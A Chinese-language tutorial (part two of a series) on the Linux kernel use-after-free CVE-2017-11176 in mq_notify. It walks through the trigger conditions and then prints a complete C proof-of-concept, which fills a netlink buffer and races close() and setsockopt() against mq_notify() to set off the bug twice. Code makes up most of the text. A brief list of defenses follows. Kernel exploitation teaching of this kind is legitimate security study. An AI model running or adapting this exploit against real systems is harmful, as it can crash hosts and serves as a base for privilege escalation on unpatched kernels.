CVE-2017-11176: 一步一步linux内核漏洞利用 (二)(PoC)
字数 1290 2025-08-05 08:19:19
Linux内核漏洞CVE-2017-11176分析与利用教程
漏洞概述
CVE-2017-11176是一个Linux内核中的释放后使用(Use-After-Free)漏洞,存在于内核的消息队列(mqueue)子系统中。该漏洞可以通过mq_notify()系统调用触发,导致内核崩溃或可能被利用来提升权限。
漏洞背景
相关系统调用
- mq_notify(): 用于注册一个异步通知,当消息到达空队列时通知进程
- setsockopt(): 用于设置套接字选项
- close(): 关闭文件描述符
- dup(): 复制文件描述符
关键数据结构
- netlink_sock: 表示一个netlink套接字的内核结构
- files_struct: 进程的文件描述符表
- fdtable: 文件描述符表的具体实现
- sk_buff: 网络缓冲区(socket buffer)
漏洞分析
漏洞触发条件
要触发该漏洞,需要满足三个关键条件:
- 使
netlink_attachskb()返回1 - 解除exp线程的阻塞状态
- 使第二次
fget()调用返回NULL
漏洞触发流程
- 主线程调用
mq_notify()并阻塞 - 另一个线程关闭相关文件描述符并调用
setsockopt()解除阻塞 - 第二次
fget()调用返回NULL,导致内核执行错误路径 - 最终导致释放后使用(UAF)条件
漏洞利用步骤
第一步:使netlink_attachskb()返回1
netlink_attachskb()会在以下条件之一成立时返回1:
sk_rmem_alloc > sk_rcvbuf(接收缓冲区已满)nlk->state的最低有效位不为0
填充接收缓冲区
通过以下步骤使接收缓冲区满:
- 创建两个AF_NETLINK套接字,使用NETLINK_USERSOCK协议
- 绑定目标(receiver)套接字
- 尝试减少目标套接字的接收缓冲区大小(可选)
- 通过sendmsg()向目标套接字发送大量数据,直到返回EAGAIN错误
关键代码:
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
.nl_pad = 0,
.nl_pid = 118, // 必须非零
.nl_groups = 0 // 不加入组
};
struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf)
};
struct msghdr mhdr = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = 0,
};
// 发送数据直到缓冲区满
while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0);
第二步:解除线程阻塞
使用辅助线程来解除主线程的阻塞:
- 主线程调用
mq_notify()并阻塞 - 辅助线程关闭相关文件描述符
- 辅助线程调用
setsockopt()解除阻塞
关键代码:
static void* unblock_thread(void *arg)
{
struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
int val = 3535; // 必须非零
sleep(5); // 给主线程时间阻塞
_close(uta->sock_fd);
// 解除阻塞
_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val));
return NULL;
}
第三步:使第二次fget()调用返回NULL
通过close()系统调用可以重置文件描述符表中的条目:
- 使用
dup()复制文件描述符,使两个fd指向同一个文件对象 - 一个fd用于
mq_notify()和close() - 另一个fd用于
setsockopt()
关键代码:
// 复制文件描述符
if ((uta.unblock_fd = _dup(uta.sock_fd)) < 0) {
perror("dup");
goto fail;
}
完整PoC实现
完整的漏洞验证代码如下:
#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>
#define NOTIFY_COOKIE_LEN (32)
#define SOL_NETLINK (270)
#define NETLINK_NO_ENOBUFS 14
// 系统调用包装器
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)
#define _setsockopt(sockfd, level, optname, optval, optlen) \
syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)
#define _dup(oldfd) syscall(__NR_dup, oldfd)
#define _close(fd) syscall(__NR_close, fd)
#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)
#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)
struct unblock_thread_arg {
int sock_fd;
int unblock_fd;
bool is_ready;
};
static void* unblock_thread(void *arg)
{
struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
int val = 3535;
uta->is_ready = true;
sleep(5);
printf("[unblock] closing %d fd\n", uta->sock_fd);
_close(uta->sock_fd);
printf("[unblock] unblocking now\n");
if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
perror("setsockopt");
return NULL;
}
static int prepare_blocking_socket(void)
{
int send_fd, recv_fd;
char buf[1024*10];
int new_size = 0;
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
.nl_pad = 0,
.nl_pid = 118,
.nl_groups = 0
};
struct iovec iov = {
.iov_base = buf,
.iov_len = sizeof(buf)
};
struct msghdr mhdr = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = MSG_DONTWAIT,
};
if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
(recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0) {
perror("socket");
goto fail;
}
while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr))) {
if (errno != EADDRINUSE) {
perror("bind");
goto fail;
}
addr.nl_pid++;
}
if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
perror("setsockopt");
while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0);
if (errno != EAGAIN) {
perror("sendmsg");
goto fail;
}
_close(send_fd);
return recv_fd;
fail:
return -1;
}
static int decrease_sock_refcounter(int sock_fd, int unblock_fd)
{
pthread_t tid;
struct sigevent sigev;
struct unblock_thread_arg uta;
char sival_buffer[NOTIFY_COOKIE_LEN];
uta.sock_fd = sock_fd;
uta.unblock_fd = unblock_fd;
uta.is_ready = false;
memset(&sigev, 0, sizeof(sigev));
sigev.sigev_notify = SIGEV_THREAD;
sigev.sigev_value.sival_ptr = sival_buffer;
sigev.sigev_signo = uta.sock_fd;
if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0) {
perror("pthread_create");
return -1;
}
while (uta.is_ready == false);
if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF)) {
perror("mq_notify");
return -1;
}
return 0;
}
int main(void)
{
int sock_fd = -1;
int sock_fd2 = -1;
int unblock_fd = -1;
printf("-={ CVE-2017-11176 Exploit }=-\n");
if ((sock_fd = prepare_blocking_socket()) < 0)
goto fail;
if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0)) {
perror("dup");
goto fail;
}
// 触发漏洞两次
if (decrease_sock_refcounter(sock_fd, unblock_fd) ||
decrease_sock_refcounter(sock_fd2, unblock_fd)) {
goto fail;
}
printf("[+] exploit succeeded!\n");
return 0;
fail:
printf("[-] exploit failed!\n");
return -1;
}
防御措施
- 及时更新内核到修复版本
- 使用内核安全机制如KASLR、SMAP、SMEP
- 限制普通用户使用特权系统调用
- 监控异常的内核崩溃行为
总结
本教程详细分析了CVE-2017-11176漏洞的成因和利用方法,通过精确控制内核数据结构的状态和竞态条件,成功实现了漏洞的触发。理解这类漏洞有助于提高内核安全性意识和防御能力。